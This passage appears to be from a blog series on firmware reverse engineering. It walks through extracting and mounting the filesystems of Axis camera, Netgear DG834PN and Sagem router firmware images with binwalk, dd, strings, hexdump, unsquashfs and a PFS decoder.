   1: root@system:~/axis/analysis# strings until_padding | grep kernel   2: No init found.  Try passing init= option to kernel.   3: Booting kernel   4: <4>start_kernel(): bug: interrupts were enabled *very* early, fixing it   5: <2>start_kernel(): bug: interrupts were enabled early   6: arch/arm/kernel/process.c   7: <2>kernel BUG at %s:%d!   8: Division by zero in kernel.   9: <2>%s: bad page in kernel page table  10: <1>Unable to handle kernel %s at virtual address %08lx  11: kernel/sched_rt.c  12: kernel/fork.c  13: <4>Disabling lock debugging due to kernel taint  14: kernel/exit.c  15: kernel/softirq.c  16: kernel/resource.c  17: kernel/sysctl.c  18: kernel/timer.c  19: kernel/workqueue.c  20: kernel/rcupdate.c  21: kernel/params.c  22: kernel/hrtimer.c  23: kernel/srcu.c  24: kernel/async.c  25: kernel/futex.c  26: kernel/rtmutex.c  27: kernel/up.c  28: <4>Please see the file Documentation/feature-removal-schedule.txt in the kernel source tree for more details.  29: <4>%s: module license '%s' taints kernel.  30: kernel/irq/manage.c  31: kernel/irq/chip.c  32: kernel/irq/devres.c  33: <4>You cannot use older JFFS2 filesystems with newer kernels  34: <3>%s %s: uevent: unsupported action-string; this will be ignored in a future kernel version  35: kernel_max  36: please mail a stack trace to linux-scsi@vger.kernel.org  37: <3>%s %s: Could not create connection due to crc32c loading error. Make sure the crc32c module is built as a module or into the kernel  38: kernel_thread  39: kernel_execve  40: pgprot_kernel  41: kernel_power_off  42: kernel_halt  43: kernel_restart  44: kernel_kobj  45: prepare_kernel_cred  46: current_kernel_time  47: probe_kernel_write  48: probe_kernel_read  49: kernel_read  50: copy_strings_kernel  51: kernel_sock_shutdown  52: kernel_sock_ioctl  53: kernel_sendpage  54: kernel_setsockopt  55: kernel_getsockopt  56: kernel_getpeername

and

   1: root@system:~/axis/analysis# strings until_padding | grep -i linux   2: root=/dev/mtdblock3 mem=64M init=/linuxrc rootfstype=jffs2 i2c-argus.sda=15 i2c-argus.scl=14 panic=1   3: Linux version 2.6.31 (madhavi@eater-1) (gcc version 4.3.1 20080521 (prerelease) [gcc-4_3-branch revision 135713] (GCC 4.3.1 Axis release R11/1.1) ) #1 Mon Oct 25 13:03:16 CEST 2010   4: TERM=linux   5: include/linux/security.h   6: Linux   7: include/linux/gfp.h   8: please mail a stack trace to linux-scsi@vger.kernel.org   9: include/linux/skbuff.h  10: Linux

Getting the data after the kernel entry point near address 001fca20, and adding 8 bytes for cleanup

   1: 001fca20  ff ff ff ff ff ff ff ff  85 19 01 e0 30 00 00 00  |............0...|   2: 001fca30  78 be 3e fa 01 00 00 00  00 00 00 00 02 00 00 00  |x.>.............|   3: 001fca40  23 6d c5 4c 08 08 00 00  51 ae 45 03 63 c1 56 6c  |#m.L....Q.E.c.Vl|

using dd again ,

   1: root@system:~/axis/analysis# dd if=gzip.section.gz bs=1 skip=$((0x001fca28)) of=after_kernel   2: 7264853+0 records in   3: 7264853+0 records out   4: 7264853 bytes (7.3 MB) copied, 157.416 s, 46.2 kB/s

file command is giving us now something

   1: root@system:~/axis/analysis# file after_kernel    2: after_kernel: Linux jffs2 filesystem data little endian

looking for the common busybox application usually found in embedded installations,

   1: root@system:~/axis/analysis# strings jffs2.fs | grep busybox   2: busybox   3: busybox   4: <snip>

And there is the start of the jffs2 filesystem. Final part, let’s add the zip sections and mount the filesystem. In this part I could had done an easier approach but in my initial assumption the zip sections were unknown sections since I had no knowledge of the jffs2 filesystem’s location.

A bit more slice and dice,

   1: root@system:~/axis/analysis# dd if=AXIS_M1031-W.bin bs=1 skip=9443925 of=Zip.section.parts                     2: 8463811+0 records in   3: 8463811+0 records out   4: 8463811 bytes (8.5 MB) copied, 158.606 s, 53.4 kB/s   5: root@system:~/axis/analysis# cat jffs2.fs Zip.section.parts > jffs_and_tail         

Final cleanup of the jffs filesystem,

   1: root@system:~/axis/analysis# hexdump -C jffs_and_tail | tail    2: 00dee3d0  e9 ba 6c 54 77 73 5f 75  73 65 72 73 85 19 02 e0  |..lTws_users....|   3: 00dee3e0  44 00 00 00 1d fb f7 98  b6 02 00 00 01 00 00 00  |D...............|   4: 00dee3f0  a0 81 00 00 89 00 89 00  00 00 00 00 b2 bf 66 4c  |..............fL|   5: 00dee400  b2 bf 66 4c b2 bf 66 4c  00 00 00 00 00 00 00 00  |..fL..fL........|   6: 00dee410  00 00 00 00 00 00 00 00  00 00 00 00 f8 bc df cb  |................|   7: 00dee420  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|   8: *   9: 00f00000  31 37 30 20 20 20 20 20  20 20 20 20 20 20 32 36  |170           26|  10: 00f00010  39 32 34 30 30 39 34 31                           |92400941|  11: 00f00018  12: root@system:~/axis/analysis# dd if=jffs_and_tail bs=1 count=$((00dee420)) of=jffs_clear

In order to mount the jffs2 we have two ways to do that, either

Have a block device emulate a Memory Technology Device (MTD) via block2mtd. or
Have kernel memory emulate a MTD via mtdram.

I choose the second way

   1: root@system:~/axis/analysis# mknod /tmp/mtdblock1 b 31 0   2: root@system:~/axis/analysis# modprobe mtdblock   3: root@system:~/axis/analysis# modprobe mtdram total_size=196608 erase_size=256   4: root@system:~/axis/analysis# dd if=jffs_clear of=/tmp/mtdblock1   5: root@system:~/axis/analysis# mount -t jffs2 /tmp/mtdblock1 /media/jffs2   6: root@system:~/axis/analysis# cd /media/jffs2/   7: root@system:/media/jffs2# ls -Fal   8: total 97   9: drwxr-xr-x 15 root root     0 1970-01-01 02:00 ./  10: drwxr-xr-x  5 root root  4096 2011-08-21 14:52 ../  11: drwxr-xr-x  2 root root     0 2010-10-25 14:43 bin/  12: drwxr-xr-x  5 root root     0 2010-10-25 14:42 dev/  13: -rw-r--r--  1 root root 61440 2010-10-25 14:42 .dev.tar  14: lrwxrwxrwx  1 root root    13 2010-10-25 14:42 etc -> mnt/flash/etc  15: drwxr-xr-x  7 root root     0 2010-10-25 14:43 lib/  16: drwxr-xr-x  3 root root     0 2010-10-25 14:43 libs/  17: -rwxr-xr-x  1 root root  1770 2010-10-25 14:30 linuxrc*  18: drwxr-xr-x  8 root root     0 2010-10-25 14:43 mnt/  19: drwxr-xr-x  2 root root     0 2010-10-25 14:42 proc/  20: drwx------  2 root root     0 2010-10-25 14:42 root/  21: drwxr-xr-x  2 root root     0 2006-03-17 13:04 sbin/  22: drwxr-xr-x  2 root root     0 2010-10-25 14:42 share/  23: drwxr-xr-x  2 root root     0 2010-10-25 14:42 sys/  24: lrwxrwxrwx  1 root root     7 2010-10-25 14:42 tmp -> var/tmp  25: drwxr-xr-x 11 root root     0 2010-10-25 14:42 usr/  26: drwxr-xr-x  2 root root     0 2010-10-25 14:42 var/  27: -rw-r--r--  1 root root 30720 2010-10-25 14:42 .var.tar  28: root@system:/media/jffs2# 

Until next time !

Html files and cgi content for further analysis, axis

firmware reversing : Netgear DG834PN

2011-08-17T21:17:00.004+03:00

Another approach with a different firmware this time, I choose netgear’s DG834PN wireless dsl routers’ firmware. The firmware, DG834PN_V1.03.39.img can be found at netgear’s website for download.
Starting as before, I used binwalk to identify the sections on the image.

root@system:~/DG834PN# binwalk DG834PN_V1.03.39.img     2:  

DECIMAL         HEX             DESCRIPTION

-------------------------------------------------------------------------------------------------------

4177            0x1051          LZMA compressed data, properties: 0xA4, dictionary size: 285474816 bytes, uncompressed size: 256 bytes

7951            0x1F0F          LZMA compressed data, properties: 0xC2, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes

8087            0x1F97          LZMA compressed data, properties: 0x82, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes

8227            0x2023          LZMA compressed data, properties: 0xC2, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes

8371            0x20B3          LZMA compressed data, properties: 0x82, dictionary size: 556793856 bytes, uncompressed size: 67108881 bytes

10563           0x2943          LZMA compressed data, properties: 0xDF, dictionary size: 555220992 bytes, uncompressed size: 167272448 bytes

65792           0x10100         Squashfs filesystem, big endian, version 2.0, 3226978 bytes, 1227 inodes, blocksize: 65536 bytes, created: Thu Aug 14 07:06:38 2008

2639186         0x284552        bzip2 compressed data

2643350         0x285596        bzip2 compressed data

2659059         0x2892F3        bzip2 compressed data

2683869         0x28F3DD        bzip2 compressed data

2885101         0x2C05ED        bzip2 compressed data

2916750         0x2C818E        bzip2 compressed data

2927300         0x2CAAC4        bzip2 compressed data

Many lzma headers one squashfs and some bzip2 compressed data. The squashfs partition should be the filesystem located on the router, the lzma data should contain the loader, so how about the bzip2 compressed data…

Starting ( wrong as proven later ) from the bzip2 headers, I thought of extracting the last part to check on the data.

root@system:~/DG834PN# dd if=DG834PN_V1.03.39.img bs=1 skip=2927300 of=unknown.bz2

1021244+0 records in

1021244+0 records out

1021244 bytes (1.0 MB) copied, 112.083 s, 9.1 kB/s

running “file” command on the extracted contents the command responds identifying the data as proper bzip2 compressed file.

root@system:~/DG834PN# file unknown.bz2 

unknown.bz2: bzip2 compressed data

but this is not correct,

root@system:~/DG834PN# bunzip2 unknown.bz2 

bunzip2: unknown.bz2 is not a bzip2 file.

“file” command will identify any file containing “BZh.” header in the start as bzip2 compressed document, an example below will demonstrate it. A text file with the name false_bz is created and the “file” command identifies it as bzip2 compressed data.

root@system:~/DG834PN# echo "BZh.test" > false_bz

root@system:~/DG834PN# file false_bz 

false_bz: bzip2 compressed data

So this is definitely not the way to go. The sections are not properly identified.

Back to the start then, hexdump and strings commands will be proven again valuable and I believe that’s the proper way to start always.

root@system:~/DG834PN# hexdump -C DG834PN_V1.03.39.img > hex.out

root@system:~/DG834PN# strings DG834PN_V1.03.39.img > strings.out

From the hexdump we can see the loader that is used for the image,

root@system:~/DG834PN# less hex.out 

00000000  10 00 02 78 00 00 00 00  00 00 00 00 00 00 00 00  |...x............|

00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*   5: 00000200  10 00 04 05 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000280  10 00 03 f0 24 1a 00 10  00 00 00 00 00 00 00 00  |....$...........|

00000290  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000300  10 00 03 d2 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000310  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000380  10 00 03 b4 24 1a 00 20  00 00 00 00 00 00 00 00  |....$.. ........|

00000390  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*  17: 00000400  10 00 03 96 24 1a 00 28  00 00 00 00 00 00 00 00  |....$..(........|

00000410  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

00000480  10 00 03 78 24 1a 00 30  00 00 00 00 00 00 00 00  |...x$..0........|

00000490  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

*

000004e0  43 46 45 31 43 46 45 31  00 00 00 00 00 00 00 00  |CFE1CFE1........|

000004f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

00000500  10 00 03 5b 00 00 00 00  43 46 45 31 43 46 45 31  |...[....CFE1CFE1|

00000510  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

string CFE1CFE1 is a clear mark of CFE loader ( http://melbourne.wireless.org.au/files/wrt54/cfe.pdf )

Going straight now for the filesystem I needed tools to work with squashfs, first choice was the firmware mod kit, ( http://www.bitsum.com/firmware_mod_kit.htm ) that contains many different filesystem decoders like cramfs, various versions of squashfs and others. Later through the tests I found more useful the unsquashfs provided by the squashfs-tools on debian/ubuntu systems.

root@system:~/DG834PN# dd if=DG834PN_V1.03.39.img bs=1 skip=65792 of=squash.fs              

3882752+0 records in

3882752+0 records out

3882752 bytes (3.9 MB) copied, 117.184 s, 33.1 kB/s

Extracting the squashfs system and after identifying it properly with unsquashfs I was able to mount the extracted filesystem and browse the files.

root@system:~/DG834PN# unsquashfs -s squash.fs 

Reading a different endian SQUASHFS filesystem on squash.fs

Found a valid big endian SQUASHFS 2:0 superblock on squash.fs.

Creation or last append time Thu Aug 14 07:06:38 2008

Filesystem is not exportable via NFS

Inodes are uncompressed

Data is compressed

Check data is not present in the filesystem

Fragments are not present in the filesystem

Always_use_fragments option is not specified

Duplicates are removed

Filesystem size 3151.35 Kbytes (3.08 Mbytes)

Block size 65536

Number of fragments 0

Number of inodes 1227

Number of uids 1

Number of gids 0

and finally the extracted filesystem,

root@system:~/DG834PN# mount -t squashfs -o loop squash.fs /tmp/mnt1/   

root@system:~/DG834PN# cd /tmp/mnt1/

root@system:/tmp/mnt1# ls

bin  dev  etc  lib  proc  sbin  tmp  usr  var  www  www.deu  www.eng  www.fre  www.ita

root@system:~/DG834PN# cd usr/etc

root@system:/tmp/mnt1/usr/etc# ls   7: crontab  hosts   rcS                 setup.cgi    udhcpc.fix.script     upgrade_flash.cgi   8: default  passwd  resolv.conf         svn.info     udhcpc.script         version

group    ppp     restore_config.cgi  syslog.conf  udhcpc.wizard.script

firmware reverse engineering

2011-08-16T16:02:00.001+03:00

For some time now I wanted to open up these magical files that are full of options and settings, making our modems, cameras and other peripherals able to work. This is my starting guide for someone that would like to have a start on firmware reverse engineering. The firmware of my choice is the firmware that is running on wireless Router Sagem F@st 1500WG/1540WG.

There are not many tools that we actually need for a start and for me there was only one not on my system, that tool is binwalk ( http://code.google.com/p/binwalk/ ). I read about binwalk first time on the blog of /dev/ttyS0 ( http://www.devttys0.com ).

So first things first, getting binwalk.tar.gz from http://binwalk.googlecode.com/files/binwalk-0.3.7.tar.gz , current version is 0.3.7 at the time of this writing and starting the compile I notice that my system was missing libcurl library. These days I run mostly ubuntu/debian based systems so if you run on the same problem the solution is the following:

   1: apt-get install libcurl4-gnutls-dev

After installing the missing library ./configure , make and make install on the binwalk package completed with no issue.

Searching on Google I found the firmware and downloaded it on my system. Initially the provided package is zip compressed with the name SAGEM_1500WG_ROHS_Firmware_3_0_6.zip.

   1: root@system:~/firmware# l   2: total 1436   3: drwxr-xr-x  2 root root    4096 2011-08-16 12:14 ./   4: drwxr-xr-x 54 root root    4096 2011-08-16 12:13 ../   5: -rw-r--r--  1 root root 1457477 2011-08-16 12:14 SAGEM_1500WG_ROHS_Firmware_3_0_6.zip   6: root@system:~/firmware# unzip SAGEM_1500WG_ROHS_Firmware_3_0_6.zip    7: Archive:  SAGEM_1500WG_ROHS_Firmware_3_0_6.zip   8:   inflating: 1500WG_SP_FW3_0_6_c.bin     9: user@system:~/firmware# file 1500WG_SP_FW3_0_6_c.bin   10: 1500WG_SP_FW3_0_6_c.bin: Zip archive data, at least v2.0 to extract  11: user@system:~/firmware# 

“file” command identifies “1500WG_SP_FW3_0_6_c.bin” as zip compressed file. At this point my first action was just to try and unzip it,

   1: root@system:~/firmware# unzip 1500WG_SP_FW3_0_6_c.bin    2: Archive:  1500WG_SP_FW3_0_6_c.bin   3: warning [1500WG_SP_FW3_0_6_c.bin]:  1263616 extra bytes at beginning or within zipfile   4:   (attempting to process anyway)   5:   inflating: ar0700mp.bin            

So indeed, the file contains a compressed binary but there is also a warning saying that some extra bytes exist.

Another procedure to have a vague idea of the contents of the file can be achieved with the use of “strings” and “hexdump” commands.

   1: root@system:~/firmware# hexdump -C 1500WG_SP_FW3_0_6_c.bin > hex.dump   2: root@system:~/firmware# strings -n 10 1500WG_SP_FW3_0_6_c.bin > strings.out

My first choice here is always to have a look at strings' output first and at this time, interestingly there were the followings:

   1: root@system:~/firmware# more strings.out    2: soho.binUT   3: [3>z~&@71~   4: j&H[3Azn&D7dB   5: uPb)(]cC1f   6: fmp/[(|!Vi}   7: Z`?EU:f$q9   8: Cao52io58:   9: ?a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{>a{  10: >=0Ubg}n !  11: . ^NFt[Ge,  12: J](7edW)^wq/C  13: i^'4,_$*5,/ X  14: f*|OeJ}Of|  15: )y~Z?/+y~N?//y~^?  16: mx2Et"Et"Et"Et"Et"  17: =r;AW@n'1or=]1  18: Fk?Ok?Ok?Ok?Ok  19: H2]I2]I2]I2]I2]I2]I2]I  20: e^7>Cb?8RF  21: /C~n.u^F.y^  22: (*:v#pZr;73  23: }VF9ge%bkk  24: p,i=?|/YNO  25: Pe./QFWeVW  26: qjdedJxEjD  27: a|:eT1Qn:=<  28: 42mX<bc`Y!  29: ,9m\LX2MK2M  30: Dv44>H7AyNW  31: mKtnX2]&5~}  32: !-`$p<xZ>3  33: %fW]={vMMm  34: qiS`E`Y`I`Q  35: soho.binUT  36: pfs.imgUT  37: Z*DF<@%#yi  38: oWEGb1WLF_SX  39: Dd8VpbAV#q  40: pfs-en.imgUT  41: HWA/=wXU?>  42: 1h-e&W^s~E  43: EZfWaEcP+8*  44: .!cnGC|Ck`|  45: {'6tWUWwWWW  46: O<{>){h)9*  47: pfs-en.imgUT  48: pfs-fr.imgUT  49: ]Fmq~iascqY  50: tm}}vqmAr-  51: >>y1    zLN3J]  52: $Lo(I^FIVs  53: \T+uhMk7(=  54: Z6|<kdMpVr  55: eYn*ps[pYV\  56: 3Ol?]sll&GXb  57: n%hxMKGK7.  58: pfs-fr.imgUT  59: ar0700mp.bin  60: W>~E>{to'=yr  61: ?BUUnX/Lqj  62: jXF?W8o50o  63: ar0700mp.binPK

As we can see form the strings’ output we have some file names showing up, soho.bin, pfs.img, pfs-en.img, pfs-fr.img and ar0700mp.bin.

   1: root@system:~/firmware# binwalk 1500WG_SP_FW3_0_6_c.bin    2:     3: DECIMAL         HEX             DESCRIPTION   4: -------------------------------------------------------------------------------------------------------   5: 0               0x0             Zip archive data,  at least v2.0 to extract   6: 951296          0xE8400         Zip archive data,  at least v2.0 to extract   7: 977920          0xEEC00         Zip archive data,  at least v2.0 to extract   8: 1115136         0x110400        Zip archive data,  at least v2.0 to extract   9: 1263616         0x134800        Zip archive data,  at least v2.0 to extract

We can see that binwalk identified 5 different archives and we have from strings 5 different filenames. Proceeding with extracting the files, “dd” command to the rescue,

   1: root@system:~/firmware# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=0 count=951296 of=first.zip           2: 951296+0 records in   3: 951296+0 records out   4: 951296 bytes (951 kB) copied, 4.68149 s, 203 kB/s   5: root@system:~/firmware# file first.zip 
   6: first.zip: Zip archive data, at least v2.0 to extract   7: root@system:~/firmware# unzip first.zip    8: Archive:  first.zip   9:   inflating: soho.bin                  10: root@system:~/firmware# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=951296 count=26624 of=second.zip  11: 26624+0 records in  12: 26624+0 records out  13: 26624 bytes (27 kB) copied, 0.0675911 s, 394 kB/s  14: root@system:~/firmware# unzip second.zip   15: Archive:  second.zip  16:   inflating: pfs.img  17: root@system:~/firmware# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=977920 count=137216 of=third.zip   18: 137216+0 records in  19: 137216+0 records out  20: 137216 bytes (137 kB) copied, 3.63918 s, 37.7 kB/s  21: root@system:~/firmware# unzip third.zip   22: Archive:  third.zip  23:   inflating: pfs-en.img               24: root@system:~/firmware# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=1115136 count=148480 of=forth.zip         25: 148480+0 records in  26: 148480+0 records out  27: 148480 bytes (148 kB) copied, 2.04028 s, 72.8 kB/s  28: root@system:~/firmware# unzip forth.zip   29: Archive:  forth.zip  30:   inflating: pfs-fr.img  31: root@system:~/firmware# dd if=1500WG_SP_FW3_0_6_c.bin bs=1 skip=1263616 of=fifth.zip                       32: 200714+0 records in  33: 200714+0 records out  34: 200714 bytes (201 kB) copied, 2.235 s, 89.8 kB/s  35: root@system:~/firmware# unzip fifth.zip  36: unzip fifth.zip   37: Archive:  fifth.zip  38:   inflating: ar0700mp.bin                                 

How to find how many bytes you actually need to extract each time? It’s easy, just subtract the decimal places of the starting positions from the sections, eg.

First position is until from 0 to 951296, the second file length exists between (third – second position) 977920 – 951296 = 26624 bytes.

Starting with the pfs files I went ahead identifying them with binwalk eg,

binwalk pfs.img gave the following results:

   1: DECIMAL         HEX             DESCRIPTION   2: -------------------------------------------------------------------------------------------------------   3: 0               0x0             PFS filesystem, version .9, 37377 files

I had no prior knowledge of the PFS filesystem and I went ahead with Google search. Initial search results were no good, seems that “PFS filesystem” stands for many things like Professional File System, Playstation File system etc. Checking at the header of the file I notice the magic number

   1: root@system:~/firmware# hexdump -C -n 8 pfs.img      2: 00000000  50 46 53 2f 30 2e 39 00                           |PFS/0.9.|   3: 00000008

and I went ahead with a new search on PFS/0.9. The second result is for a file decoder from Domen Puncer ( http://cba.si/pfs/ ) for PFS/0.9 files and as described on README ( http://cba.si/pfs/_README ) “ Contents of those files are just HTML pages and images,
they also contain .EXE files, sized 0 bytes. “

I grabbed a copy of http://cba.si/pfs/pfs.c, and compiled the file using gcc –o pfs pfs.c, the result was the binary that I needed and as promised the contents of my pfs.img file were extracted.

   1: root@system:~/firmware# ./pfs < pfs.img    2: sig:    PFS/0.9   3: wtf1:   0x00000000   4: wtf2:   0x0000   5: entries: 402   6: detected path length of 40 bytes   7: www\cgi-bin\7804WBRa_backup.bin     ?1:0xac514eca offset: 0     size: 0   8: www\cgi-bin\aadsl.exe               ?1:0xac514eca offset: 0     size: 0   9: www\cgi-bin\ac_control.exe          ?1:0xac514eca offset: 0     size: 0  10: www\cgi-bin\add_cur_mac.exe         ?1:0xac514eca offset: 0     size: 0  11: www\cgi-bin\admz.exe                ?1:0xac514eca offset: 0     size: 0  12: www\cgi-bin\aoaccadd.exe            ?1:0xac514eca offset: 0     size: 0  13: www\cgi-bin\aoaccdel.exe            ?1:0xac514eca offset: 0     size: 0  14: www\cgi-bin\aoschadd.exe            ?1:0xac514eca offset: 0     size: 0  15: www\cgi-bin\aoschdel.exe            ?1:0xac514eca offset: 0     size: 0  16: www\cgi-bin\aportadd.exe            ?1:0xac514eca offset: 0     size: 0  17: www\cgi-bin\aportdel.exe            ?1:0xac514eca offset: 0     size: 0  18: www\cgi-bin\aportfd.exe             ?1:0xac514eca offset: 0     size: 0  19: www\cgi-bin\arip.exe                ?1:0xac514eca offset: 0     size: 0  20: www\cgi-bin\aroute.exe              ?1:0xac514eca offset: 0     size: 0  21: www\cgi-bin\ArouteNew.exe           ?1:0xac514eca offset: 0     size: 0  22: www\cgi-bin\asec.exe                ?1:0xac514eca offset: 0     size: 0  23: www\cgi-bin\atmpvc.exe              ?1:0xac514eca offset: 0     size: 0  24: www\cgi-bin\aurlbk.exe              ?1:0xac514eca offset: 0     size: 0  25: www\cgi-bin\backup.bin              ?1:0xac514eca offset: 0     size: 0  26: www\cgi-bin\backup_config.exe       ?1:0xac514eca offset: 0     size: 0  27: www\cgi-bin\backup_log.exe          ?1:0xac514eca offset: 0     size: 0  28: www\cgi-bin\badsl.exe               ?1:0xac514eca offset: 0     size: 0  29: www\cgi-bin\Batmint.exe             ?1:0xac514eca offset: 0     size: 0  30: www\cgi-bin\bcable.exe              ?1:0xac514eca offset: 0     size: 0  31: www\cgi-bin\bdhcp.exe               ?1:0xac514eca offset: 0     size: 0  32: www\cgi-bin\Bisp.exe                ?1:0xac514eca offset: 0     size: 0  33: www\cgi-bin\bwtype.exe              ?1:0xac514eca offset: 0     size: 0  34: www\cgi-bin\changef.exe             ?1:0xac514eca offset: 0     size: 0  35: www\cgi-bin\clientfilter.exe        ?1:0xac514eca offset: 0     size: 0  36: www\cgi-bin\clMac.exe               ?1:0xac514eca offset: 0     size: 0  37: www\cgi-bin\config                  ?1:0xac514eca offset: 0     size: 0  38: www\cgi-bin\engineer.exe            ?1:0xac514eca offset: 0     size: 0  39: www\cgi-bin\firewall_SPI.exe        ?1:0xac514eca offset: 0     size: 0  40: www\cgi-bin\fire_eb.exe             ?1:0xac514ecb offset: 0     size: 0  41: www\cgi-bin\hacker_prevention.exe   ?1:0xac514ecb offset: 0     size: 0  42: www\cgi-bin\hw_opt.cgi              ?1:0xac514ecb offset: 0     size: 0  43: www\cgi-bin\ipsec-sa.exe            ?1:0xac514ecb offset: 0     size: 0  44: www\cgi-bin\ipsec_clrplcy.exe       ?1:0xac514ecb offset: 0     size: 0  45: www\cgi-bin\ipsec_connect.exe       ?1:0xac514ecb offset: 0     size: 0  46: www\cgi-bin\IPSEC_EB.EXE            ?1:0xac514ecb offset: 0     size: 0  47: www\cgi-bin\ipsec_submit_sp.exe     ?1:0xac514ecb offset: 0     size: 0  48: www\cgi-bin\log                     ?1:0xac514ecb offset: 0     size: 0  49: www\cgi-bin\logfile.log             ?1:0xac514ecb offset: 0     size: 0  50: www\cgi-bin\login.exe               ?1:0xac514ecb offset: 0     size: 0  51: www\cgi-bin\logout.exe              ?1:0xac514ecb offset: 0     size: 0  52: www\cgi-bin\macac_control.exe       ?1:0xac514ecb offset: 0     size: 0  53: www\cgi-bin\nat_eb.exe              ?1:0xac514ecb offset: 0     size: 0  54: www\cgi-bin\nat_show.exe            ?1:0xac514ecb offset: 0     size: 0  55: www\cgi-bin\nat_sp.exe              ?1:0xac514ecb offset: 0     size: 0  56: www\cgi-bin\ntp_setting.exe         ?1:0xac514ecb offset: 0     size: 0  57: www\cgi-bin\pptp.exe                ?1:0xac514ecb offset: 0     size: 0  58: www\cgi-bin\pptp_c.exe              ?1:0xac514ecb offset: 0     size: 0  59: www\cgi-bin\pptp_s.exe              ?1:0xac514ecb offset: 0     size: 0  60: www\cgi-bin\pptp_tunnel.exe         ?1:0xac514ecb offset: 0     size: 0  61: www\cgi-bin\production.exe          ?1:0xac514ecb offset: 0     size: 0  62: www\cgi-bin\qadd_cur_mac.exe        ?1:0xac514ecb offset: 0     size: 0  63: www\cgi-bin\qBatmint.exe            ?1:0xac514ecb offset: 0     size: 0  64: www\cgi-bin\qos_delcls.exe          ?1:0xac514ecb offset: 0     size: 0  65: www\cgi-bin\qos_eb.exe              ?1:0xac514ecb offset: 0     size: 0  66: www\cgi-bin\qos_mvcls.exe           ?1:0xac514ecb offset: 0     size: 0  67: www\cgi-bin\qos_submit_bw.exe       ?1:0xac514ecb offset: 0     size: 0  68: www\cgi-bin\qos_submit_cls.exe      ?1:0xac514ecb offset: 0     size: 0  69: www\cgi-bin\qs1.exe                 ?1:0xac514ecb offset: 0     size: 0  70: www\cgi-bin\qs2.exe                 ?1:0xac514ecb offset: 0     size: 0  71: www\cgi-bin\qs2_.exe                ?1:0xac514ecb offset: 0     size: 0  72: www\cgi-bin\qs3.exe                 ?1:0xac514ecb offset: 0     size: 0  73: www\cgi-bin\Qs5.exe                 ?1:0xac514ecb offset: 0     size: 0  74: www\cgi-bin\qs6.exe                 ?1:0xac514ecb offset: 0     size: 0  75: www\cgi-bin\qsetup_cable.exe        ?1:0xac514ecb offset: 0     size: 0  76: www\cgi-bin\qsetup_cable1.exe       ?1:0xac514ecb offset: 0     size: 0  77: www\cgi-bin\qsetup_time.exe         ?1:0xac514ecb offset: 0     size: 0  78: www\cgi-bin\qsetup_wan_bigpond.exe  ?1:0xac514ecb offset: 0     size: 0  79: www\cgi-bin\qsetup_wan_fix.exe      ?1:0xac514ecb offset: 0     size: 0  80: www\cgi-bin\qsetup_wan_pppoe.exe    ?1:0xac514ecb offset: 0     size: 0  81: www\cgi-bin\qstatusprocess.exe      ?1:0xac514ecb offset: 0     size: 0  82: www\cgi-bin\qwireless_f.exe         ?1:0xac514ecb offset: 0     size: 0  83: www\cgi-bin\qwireless_ssid.exe      ?1:0xac514ecb offset: 0     size: 0  84: www\cgi-bin\qwireless_wep.exe       ?1:0xac514ecb offset: 0     size: 0  85: www\cgi-bin\restart.exe             ?1:0xac514ecb offset: 0     size: 0  86: www\cgi-bin\restore.exe             ?1:0xac514ecb offset: 0     size: 0  87: www\cgi-bin\setup_clientfilter.exe  ?1:0xac514ecb offset: 0     size: 0  88: www\cgi-bin\setup_config_data.exe   ?1:0xac514ecb offset: 0     size: 0  89: www\cgi-bin\setup_ddns.exe          ?1:0xac514ecb offset: 0     size: 0  90: www\cgi-bin\setup_dmz.exe           ?1:0xac514ecb offset: 0     size: 0  91: www\cgi-bin\setup_dns.exe           ?1:0xac514ecc offset: 0     size: 0  92: www\cgi-bin\setup_firewall.exe      ?1:0xac514ecc offset: 0     size: 0  93: www\cgi-bin\setup_fix_pat.exe       ?1:0xac514ecc offset: 0     size: 0  94: www\cgi-bin\setup_lan.exe           ?1:0xac514ecc offset: 0     size: 0  95: www\cgi-bin\setup_misc.exe          ?1:0xac514ecc offset: 0     size: 0  96: www\cgi-bin\setup_nat_show.exe      ?1:0xac514ecc offset: 0     size: 0  97: www\cgi-bin\setup_pass.exe          ?1:0xac514ecc offset: 0     size: 0  98: www\cgi-bin\setup_remote_mgmt.exe   ?1:0xac514ecc offset: 0     size: 0  99: www\cgi-bin\setup_sch.exe           ?1:0xac514ecc offset: 0     size: 0 100: www\cgi-bin\setup_snmp.exe          ?1:0xac514ecc offset: 0     size: 0 101: www\cgi-bin\setup_specialapps.exe   ?1:0xac514ecc offset: 0     size: 0 102: www\cgi-bin\setup_time.exe          ?1:0xac514ecc offset: 0     size: 0 103: www\cgi-bin\setup_virtualserver.exe ?1:0xac514ecc offset: 0     size: 0 104: www\cgi-bin\setup_wan.exe           ?1:0xac514ecc offset: 0     size: 0 105: www\cgi-bin\setup_wan_bigpond.exe   ?1:0xac514ecc offset: 0     size: 0 106: www\cgi-bin\setup_wan_bridge.exe    ?1:0xac514ecc offset: 0     size: 0 107: www\cgi-bin\setup_wan_dhcp.exe      ?1:0xac514ecc offset: 0     size: 0 108: www\cgi-bin\setup_wan_fix.exe       ?1:0xac514ecc offset: 0     size: 0 109: www\cgi-bin\setup_wan_modem.exe     ?1:0xac514ecc offset: 0     size: 0 110: www\cgi-bin\setup_wan_pppoe.exe     ?1:0xac514ecc offset: 0     size: 0 